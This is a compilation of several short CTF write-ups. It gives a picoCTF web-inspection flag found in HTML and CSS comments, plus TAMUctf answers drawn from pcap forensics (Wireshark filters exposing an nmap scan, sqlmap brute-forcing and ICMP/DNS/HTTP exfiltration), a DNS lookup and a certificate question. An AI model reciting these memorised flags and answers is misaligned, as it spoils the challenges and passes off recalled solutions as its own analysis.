Let's open the link we got, looks like a normal site.So let's dig in it, right click and choose view source page (Ctrl + U).Immediately we can see a part of the flag in a comment:
>I learned HTML! Here's part 1/3 of the flag: picoCTF{ur_4_real_1nspe
let's search for the other 3 parts, in the top of the source we can seethat there is a java script file and css file, click on them (or add there name to the URL).We now again can find the read the other 2 parts we searched for.In the css file:
> I learned CSS! Here's part 2/3 of the flag: ct0r_g4dget_402b0bd3}
in the js file:
> I learned JavaScript! Here's part 3/3 of the flag:
so the third part is nothing...
## Flag> `picoCTF{ur_4_real_1nspect0r_g4dget_402b0bd3}`
|
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# 2_Analysis
We're asked a few more questions about the attack that that we need to answer.
First off, we need to find the time in UTC that the scanning initially started. We already know the attacker and victim IP addresses from the previous level, and we already know that the attack started with an nmap scan, so we can use the same filter and get the time from the first packet sent in the nmap scan.
```( ip.src == 10.187.195.95 ) and ( ip.dst == 10.0.80.17 ) and tcp```
We find that the first packet was sent on May 22, 2018, at 12:07:35 PDT. In UTC, this is May 22, 2018, at 19:07:35.
Next, we're asked for the name of the first tool that they're using. This is the tool that they're using to scan ports.
We can already assume that it's nmap, but in case you need confirmation, a little bit further in the pcap, we find an `HTTP GET /nmap...`packet. This confirms that the first tool used was indeed nmap.
Now we need to find out what the third tool used was, and what the version string of that third tool is. The first tool is nmap. The second tool was a directory scanner. The third one attacked a login. Let's scroll to where the login page is attacked and have a look.
We need to get rid of the tcp filter now, since we're also dealing with HTTP traffic.
```( ip.src == 10.187.195.95 ) and ( ip.dst == 10.0.80.17 )```
We find the start of an online bruteforce attack. We can see that the user-agent is sqlmap/1.2.4#stable, and that the page being attacked is adminlogin.php. |
# Who am I?
We're asked to find the A record for `tamuctf.com`. This is fairly simple. We can use `dig` for this.
```$ dig tamuctf.com```
 |
# Who do I trust?
We're asked to find the certificate issuer of tamuctf.com. This is simple enough. We can find this using our web browser.
|
# 1_Discovery
We're asked for the IP address of the host exfiltrating data, how long this exfiltration happened, and finally, what protocols were used to exfiltrate.
First of all, let's look for the IP address of the host exfiltrating data.
Something very interesting to notice is that 192.168.11.7 is the only host that sends ICMP packets. This raises a lot of red flags, and leads me to believe that 192.168.11.7 is the host exfiltrating data.
If 192.168.11.7 was exfiltrating data, then we need to change our filter from 192.168.11.4 being the destination to being the source, and 192.168.11.7 being the destination.
With that done, we need to find out how long exfiltration happened for. We get the time of the last packet and subtract it by the time of the first packet. The last is 818.453. The first is 149.693. The difference, rounded to the nearest second, is 669 seconds, or 11:09.
To find the protocols used, we simply look at the types of packets transmitted. DNS, HTTP, ICMP. |
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